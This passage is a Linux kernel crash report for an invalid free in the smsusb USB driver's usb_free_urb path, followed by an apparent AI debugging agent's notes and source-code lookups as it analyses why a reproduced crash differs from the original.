 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2748 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x1c5/0x650 mm/slub.c:6792
 skb_kfree_head net/core/skbuff.c:1083 [inline]
 skb_free_head net/core/skbuff.c:1095 [inline]
 skb_release_data+0x85e/0xab0 net/core/skbuff.c:1122
 skb_release_all net/core/skbuff.c:1197 [inline]
 __kfree_skb+0x5d/0x210 net/core/skbuff.c:1211
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:817 [inline]
 nsim_dev_trap_report_work+0x7ac/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
head: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 3388, tgid 3388 (kworker/u8:12), ts 77776651868
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3347 [inline]
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
 refill_sheaf mm/slub.c:2885 [inline]
 __pcs_replace_empty_main+0x2c8/0x6c0 mm/slub.c:4774
 alloc_from_pcs mm/slub.c:4850 [inline]
 slab_alloc_node mm/slub.c:4984 [inline]
 __do_kmalloc_node mm/slub.c:5413 [inline]
 __kmalloc_node_track_caller_noprof+0x548/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 48 tgid 48 ts 77606871666 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_pages_ok+0xb6c/0xc60 mm/page_alloc.c:1596
 smscore_unregister_device+0x48a/0x780 drivers/media/common/siano/smscoreapi.c:1228
 smsusb_term_device+0x1a0/0x3d0 drivers/media/usb/siano/smsusb.c:349
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250

Memory state around the buggy address:
 ffff888058ab0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888058ab0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888058ab1000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff888058ab1080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888058ab1100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================

IsProbe: false
Reproduced: true
Console Output: [   64.879974][ T2237] R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
[   64.882711][ T2237] R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
[   64.885354][ T2237] FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
[   64.888325][ T2237] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   64.890598][ T2237] CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
[   64.893392][ T2237] Call Trace:
[   64.894577][ T2237]  <TASK>
[   64.895588][ T2237]  usb_free_urb+0xd0/0x120
[   64.897109][ T2237]  smsusb_term_device+0x1d0/0x3d0
[   64.898802][ T2237]  smsusb_probe+0x1aba/0x2280
[   64.900400][ T2237]  ? __pfx_smsusb_probe+0x10/0x10
[   64.902108][ T2237]  ? do_raw_spin_lock+0x12b/0x2f0
[   64.903896][ T2237]  ? __pfx_smsusb1_setmode+0x10/0x10
[   64.905670][ T2237]  ? __pfx_smsusb1_detectmode+0x10/0x10
[   64.907574][ T2237]  ? __pfx_smsusb_sendrequest+0x10/0x10
[   64.909437][ T2237]  ? _raw_spin_unlock_irqrestore+0x30/0x80
[   64.911400][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.913443][ T2237]  ? __pm_runtime_set_status+0x994/0xc80
[   64.915321][ T2237]  usb_probe_interface+0x788/0xe50
[   64.917054][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   64.918947][ T2237]  ? sysfs_do_create_link_sd+0xe0/0x110
[   64.920855][ T2237]  ? driver_sysfs_add+0x1fe/0x210
[   64.922661][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   64.924559][ T2237]  really_probe+0x254/0xae0
[   64.926098][ T2237]  __driver_probe_device+0x1e8/0x360
[   64.927898][ T2237]  driver_probe_device+0x4f/0x240
[   64.929613][ T2237]  __device_attach_driver+0x270/0x410
[   64.931425][ T2237]  bus_for_each_drv+0x258/0x2f0
[   64.933234][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   64.935304][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   64.937363][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.939333][ T2237]  __device_attach+0x2c4/0x450
[   64.940993][ T2237]  ? __pfx___device_attach+0x10/0x10
[   64.942838][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.944560][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   64.946219][ T2237]  device_initial_probe+0xa1/0xd0
[   64.947996][ T2237]  bus_probe_device+0x12a/0x220
[   64.949667][ T2237]  device_add+0x7d7/0xb80
[   64.951148][ T2237]  usb_set_configuration+0x1ad8/0x2180
[   64.953047][ T2237]  usb_generic_driver_probe+0x8d/0x150
[   64.954888][ T2237]  usb_probe_device+0x1c3/0x3b0
[   64.956537][ T2237]  ? __pfx_usb_probe_device+0x10/0x10
[   64.958343][ T2237]  really_probe+0x254/0xae0
[   64.959869][ T2237]  __driver_probe_device+0x1e8/0x360
[   64.961707][ T2237]  driver_probe_device+0x4f/0x240
[   64.963508][ T2237]  __device_attach_driver+0x270/0x410
[   64.965321][ T2237]  bus_for_each_drv+0x258/0x2f0
[   64.966987][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   64.968970][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   64.970765][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.972789][ T2237]  __device_attach+0x2c4/0x450
[   64.974451][ T2237]  ? __pfx___device_attach+0x10/0x10
[   64.976238][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.977964][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   64.979604][ T2237]  device_initial_probe+0xa1/0xd0
[   64.981307][ T2237]  bus_probe_device+0x12a/0x220
[   64.983009][ T2237]  device_add+0x7d7/0xb80
[   64.984476][ T2237]  usb_new_device+0x9aa/0x1690
[   64.986088][ T2237]  ? __pfx_usb_new_device+0x10/0x10
[   64.987909][ T2237]  ? _raw_spin_unlock_irq+0x23/0x50
[   64.989663][ T2237]  hub_event+0x28e8/0x4d30
[   64.991189][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.992981][ T2237]  ? __pfx_hub_event+0x10/0x10
[   64.994606][ T2237]  ? rcu_is_watching+0x16/0xb0
[   64.996222][ T2237]  ? process_scheduled_works+0x97a/0x1630
[   64.998148][ T2237]  process_scheduled_works+0xc3d/0x1630
[   65.000012][ T2237]  ? __pfx_process_scheduled_works+0x10/0x10
[   65.002088][ T2237]  ? assign_work+0x3cf/0x5d0
[   65.003898][ T2237]  worker_thread+0xa47/0xfb0
[   65.005474][ T2237]  ? __kthread_parkme+0x71/0x1f0
[   65.007163][ T2237]  kthread+0x38b/0x480
[   65.008545][ T2237]  ? __pfx_worker_thread+0x10/0x10
[   65.010264][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.011808][ T2237]  ret_from_fork+0x514/0xb70
[   65.013439][ T2237]  ? __pfx_ret_from_fork+0x10/0x10
[   65.015227][ T2237]  ? __switch_to+0xc89/0x1420
[   65.016833][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.018391][ T2237]  ret_from_fork_asm+0x1a/0x30
[   65.019988][ T2237]  </TASK>
[   65.021051][ T2237] Kernel panic - not syncing: kernel: panic_on_warn set ...
[   65.023479][ T2237] CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
[   65.026505][ T2237] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   65.029878][ T2237] Workqueue: usb_hub_wq hub_event
[   65.031610][ T2237] Call Trace:
[   65.032748][ T2237]  <TASK>
[   65.033761][ T2237]  vpanic+0x56d/0xa60
[   65.035146][ T2237]  ? __pfx__printk+0x10/0x10
[   65.036706][ T2237]  ? __pfx_vpanic+0x10/0x10
[   65.038263][ T2237]  ? is_bpf_text_address+0x292/0x2b0
[   65.040042][ T2237]  ? is_bpf_text_address+0x26/0x2b0
[   65.041793][ T2237]  panic+0xc5/0xd0
[   65.043067][ T2237]  ? __pfx_panic+0x10/0x10
[   65.044585][ T2237]  ? ret_from_fork_asm+0x1a/0x30
[   65.046272][ T2237]  __warn+0x315/0x4c0
[   65.047641][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.049383][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.051110][ T2237]  __report_bug+0x276/0x570
[   65.052654][ T2237]  ? bus_for_each_drv+0x258/0x2f0
[   65.054345][ T2237]  ? __device_attach+0x2c4/0x450
[   65.056019][ T2237]  ? device_initial_probe+0xa1/0xd0
[   65.057774][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.059506][ T2237]  ? __pfx___report_bug+0x10/0x10
[   65.061217][ T2237]  ? bus_probe_device+0x12a/0x220
[   65.062919][ T2237]  ? device_add+0x7d7/0xb80
[   65.064454][ T2237]  ? usb_new_device+0x9aa/0x1690
[   65.066123][ T2237]  ? hub_event+0x28e8/0x4d30
[   65.067715][ T2237]  ? process_scheduled_works+0xc3d/0x1630
[   65.069636][ T2237]  ? worker_thread+0xa47/0xfb0
[   65.071250][ T2237]  ? kthread+0x38b/0x480
[   65.072680][ T2237]  ? smscore_unregister_device+0x651/0x780
[   65.074631][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.076359][ T2237]  report_bug+0x16b/0x220
[   65.077855][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.079581][ T2237]  ? free_large_kmalloc+0x99/0x110
[   65.081317][ T2237]  handle_bug+0x9c/0x200
[   65.082743][ T2237]  exc_invalid_op+0x1a/0x50
[   65.084286][ T2237]  asm_exc_invalid_op+0x1a/0x20
[   65.085917][ T2237] RIP: 0010:free_large_kmalloc+0x97/0x110
[   65.087819][ T2237] Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
[   65.094212][ T2237] RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
[   65.096240][ T2237] RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
[   65.098869][ T2237] RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
[   65.101507][ T2237] RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
[   65.104146][ T2237] R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
[   65.106777][ T2237] R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
[   65.109412][ T2237]  usb_free_urb+0xd0/0x120
[   65.110912][ T2237]  smsusb_term_device+0x1d0/0x3d0
[   65.112620][ T2237]  smsusb_probe+0x1aba/0x2280
[   65.114219][ T2237]  ? __pfx_smsusb_probe+0x10/0x10
[   65.115911][ T2237]  ? do_raw_spin_lock+0x12b/0x2f0
[   65.117608][ T2237]  ? __pfx_smsusb1_setmode+0x10/0x10
[   65.119376][ T2237]  ? __pfx_smsusb1_detectmode+0x10/0x10
[   65.121245][ T2237]  ? __pfx_smsusb_sendrequest+0x10/0x10
[   65.123104][ T2237]  ? _raw_spin_unlock_irqrestore+0x30/0x80
[   65.125070][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.127021][ T2237]  ? __pm_runtime_set_status+0x994/0xc80
[   65.128903][ T2237]  usb_probe_interface+0x788/0xe50
[   65.130642][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   65.132530][ T2237]  ? sysfs_do_create_link_sd+0xe0/0x110
[   65.134381][ T2237]  ? driver_sysfs_add+0x1fe/0x210
[   65.136071][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   65.137950][ T2237]  really_probe+0x254/0xae0
[   65.139498][ T2237]  __driver_probe_device+0x1e8/0x360
[   65.141298][ T2237]  driver_probe_device+0x4f/0x240
[   65.142990][ T2237]  __device_attach_driver+0x270/0x410
[   65.144790][ T2237]  bus_for_each_drv+0x258/0x2f0
[   65.146463][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   65.148478][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   65.150347][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.152326][ T2237]  __device_attach+0x2c4/0x450
[   65.153944][ T2237]  ? __pfx___device_attach+0x10/0x10
[   65.155718][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.157451][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   65.159097][ T2237]  device_initial_probe+0xa1/0xd0
[   65.160811][ T2237]  bus_probe_device+0x12a/0x220
[   65.162474][ T2237]  device_add+0x7d7/0xb80
[   65.163930][ T2237]  usb_set_configuration+0x1ad8/0x2180
[   65.165768][ T2237]  usb_generic_driver_probe+0x8d/0x150
[   65.167626][ T2237]  usb_probe_device+0x1c3/0x3b0
[   65.169424][ T2237]  ? __pfx_usb_probe_device+0x10/0x10
[   65.171246][ T2237]  really_probe+0x254/0xae0
[   65.172788][ T2237]  __driver_probe_device+0x1e8/0x360
[   65.174583][ T2237]  driver_probe_device+0x4f/0x240
[   65.176273][ T2237]  __device_attach_driver+0x270/0x410
[   65.178035][ T2237]  bus_for_each_drv+0x258/0x2f0
[   65.179653][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   65.181651][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   65.183426][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.185369][ T2237]  __device_attach+0x2c4/0x450
[   65.186986][ T2237]  ? __pfx___device_attach+0x10/0x10
[   65.188764][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.190497][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   65.192149][ T2237]  device_initial_probe+0xa1/0xd0
[   65.193839][ T2237]  bus_probe_device+0x12a/0x220
[   65.195468][ T2237]  device_add+0x7d7/0xb80
[   65.196917][ T2237]  usb_new_device+0x9aa/0x1690
[   65.198507][ T2237]  ? __pfx_usb_new_device+0x10/0x10
[   65.200245][ T2237]  ? _raw_spin_unlock_irq+0x23/0x50
[   65.201990][ T2237]  hub_event+0x28e8/0x4d30
[   65.203503][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.205228][ T2237]  ? __pfx_hub_event+0x10/0x10
[   65.206816][ T2237]  ? rcu_is_watching+0x16/0xb0
[   65.208409][ T2237]  ? process_scheduled_works+0x97a/0x1630
[   65.210289][ T2237]  process_scheduled_works+0xc3d/0x1630
[   65.212116][ T2237]  ? __pfx_process_scheduled_works+0x10/0x10
[   65.214114][ T2237]  ? assign_work+0x3cf/0x5d0
[   65.215662][ T2237]  worker_thread+0xa47/0xfb0
[   65.217227][ T2237]  ? __kthread_parkme+0x71/0x1f0
[   65.218864][ T2237]  kthread+0x38b/0x480
[   65.220251][ T2237]  ? __pfx_worker_thread+0x10/0x10
[   65.221963][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.223511][ T2237]  ret_from_fork+0x514/0xb70
[   65.225071][ T2237]  ? __pfx_ret_from_fork+0x10/0x10
[   65.226778][ T2237]  ? __switch_to+0xc89/0x1420
[   65.228339][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.229887][ T2237]  ret_from_fork_asm+0x1a/0x30
[   65.231499][ T2237]  </TASK>
[   65.233215][ T2237] Kernel Offset: disabled
[   65.234653][ T2237] Rebooting in 86400 seconds..

Strace Output: 
Crash Report: smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed
smsusb:smsusb_init_device: smsusb_start_streaming(...) failed
------------[ cut here ]------------
!PageLargeKmalloc(page)
WARNING: mm/slub.c:6724 at free_large_kmalloc+0x97/0x110 mm/slub.c:6724, CPU#0: kworker/0:3/2237
Modules linked in:
CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: usb_hub_wq hub_event
RIP: 0010:free_large_kmalloc+0x97/0x110 mm/slub.c:6724
Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
Call Trace:
 <TASK>
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>



216/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18121
							output: 24
							thoughts: 546
						

Thoughts:
**Analysis of Kernel Bug Reproduction and Discrepancies**

My primary task here is to dissect the output from a generated C program designed to replicate a specific kernel bug: `KASAN: invalid-free in usb_free_urb`. I'm comparing the original crash trace with the trace I've managed to reproduce.

Initially, the original crash clearly indicated an `invalid-free` within `usb_free_urb`, with the call chain pointing back through `smsusb_term_device` to `smsusb_init_device` and finally `smsusb_probe`. This established a clear path for the erroneous operation.

However, the trace I reproduced presents a *warning* instead of a direct KASAN `invalid-free`. Specifically, the warning originates from `free_large_kmalloc` within `mm/slub.c:6724`, still called by `usb_free_urb` and following the same call stack: `smsusb_term_device` -> `smsusb_init_device` -> `smsusb_probe`. The warning itself, `!PageLargeKmalloc(page)`, suggests an issue with how `kfree()` is handling a page.

This difference is significant. I'm contemplating the interplay between KASAN and the SLUB allocator. My understanding is that `kfree()` performs checks to determine if a page is a slab page or a large kmalloc page. If it's neither, or if it's a slab page but mistakenly processed by `free_large_kmalloc`, it can lead to either a warning or a KASAN `invalid-free`.

The original bug, with KASAN enabled, intercepted this problematic free directly and reported it as an `invalid-free`. In my reproduction, it's possible that KASAN is either not enabled in the same way, or the warning in `free_large_kmalloc` is triggered *before* KASAN can flag the invalid free, or perhaps KASAN is simply not catching it but the SLUB allocator itself is raising the alarm.

I also note a subtle difference in the kernel configurations: the reproduced crash occurred on a kernel labeled `syzkaller #1 PREEMPT(full)`, while the original was on `syzkaller #0 PREEMPT(full)`. While both are marked `PREEMPT(full)`, this slight variation might be a contributing factor to why a warning is observed instead of a direct KASAN `invalid-free`.

Despite the difference in the reported outcome (warning vs. `invalid-free`), the core issue appears to be identical. Both scenarios point to an invalid free of the same object within the `usb_free_urb` function, originating from `smsusb_term_device`. The root cause, as I see it, remains the same: `smsusb_term_device` is attempting to free an URB (or associated buffer) that was either never allocated via `kmalloc`, has already been freed, or is a buffer intrinsically linked to another allocation. To investigate this further, my next step is to meticulously examine the `smsusb_term_device` function, likely using tools like `codesearch-definition-source` to pinpoint the exact allocation and deallocation logic.


217/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smsusb_term_device]

Results:
map[SourceCode: 336:	static void smsusb_term_device(struct usb_interface *intf)
 337:	{
 338:		struct smsusb_device_t *dev = usb_get_intfdata(intf);
 339:	
 340:		if (dev) {
 341:			int i;
 342:	
 343:			dev->state = SMSUSB_DISCONNECTED;
 344:	
 345:			smsusb_stop_streaming(dev);
 346:	
 347:			/* unregister from smscore */
 348:			if (dev->coredev)
 349:				smscore_unregister_device(dev->coredev);
 350:	
 351:			for (i = 0; i < MAX_URBS; i++)
 352:				usb_free_urb(dev->surbs[i].urb);
 353:	
 354:			pr_debug("device 0x%p destroyed\n", dev);
 355:			kfree(dev);
 356:		}
 357:	
 358:		usb_set_intfdata(intf, NULL);
 359:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

218/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19036
							output: 24
							thoughts: 31
						

Thoughts:
**My Investigation into the `usb_free_urb` Crash**

Right, so my current focus is a rather nasty crash occurring at the `usb_free_urb(dev->surbs[i].urb)` function call. This is happening within the `smsusb_init_device` routine, which is a bit concerning as this is supposed to be the setup phase for the device.

My initial thought process is to deeply understand the lifecycle of these URBs (USB Request Blocks) that are being freed. I need to trace *exactly* how `dev->surbs[i].urb` is being populated and, more importantly, how it's being used *before* this `usb_free_urb` call. The crash suggests a double-free, or perhaps a free of an invalid pointer, or even a situation where the URB is still considered "in use" by some part of the USB subsystem.

I'll be meticulously examining the code flow around `smsusb_init_device` to see:

*   **Allocation:** Where is `dev->surbs[i].urb` being allocated? Is it always allocated successfully? Are there any error paths during allocation that might lead to an uninitialized or invalid pointer being stored?
*   **Usage:** How is this specific `urb` being submitted and managed? Is it being submitted for transfers? Are callbacks associated with it? Crucially, what is the expected state of this `urb` *after* any submitted transfers complete or are canceled?
*   **Cleanup/Completion:** What is the intended mechanism for cleaning up these URBs? Is there a corresponding `usb_kill_urb` or `usb_unlink_urb` that *should* be happening before `usb_free_urb`? Are there any race conditions where a URB might be freed before its associated transfer has fully completed or been unlinked?
*   **Data Structures:** How is `dev->surbs` itself being managed? Is it an array of structures, and is `dev->surbs[i]` a valid element at the time of the crash? Could `i` be out of bounds, leading to access of garbage data that *looks* like a URB pointer?
*   **Error Handling:** Are there any error paths within `smsusb_init_device` or related functions that might prematurely attempt to free URBs, or fail to properly initialize them, before they are intended to be cleaned up?

The fact that it's `dev->surbs[i].urb` specifically points towards an issue within the `surbs` array, likely related to how individual URBs are managed within that structure. I'm going to be looking for any patterns in the value of `i` when the crash occurs, or any specific transfer types or states that precede the crash. My goal is to reconstruct the exact sequence of events that leads to this `usb_free_urb` call with a potentially problematic pointer.


219/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smsusb_init_device]

Results:
map[SourceCode: 391:	static int smsusb_init_device(struct usb_interface *intf, int board_id)
 392:	{
 393:		struct smsdevice_params_t params;
 394:		struct smsusb_device_t *dev;
 395:		void *mdev;
 396:		int i, rc;
 397:		int align = 0;
 398:	
 399:		/* create device object */
 400:		dev = kzalloc_obj(struct smsusb_device_t);
 401:		if (!dev)
 402:			return -ENOMEM;
 403:	
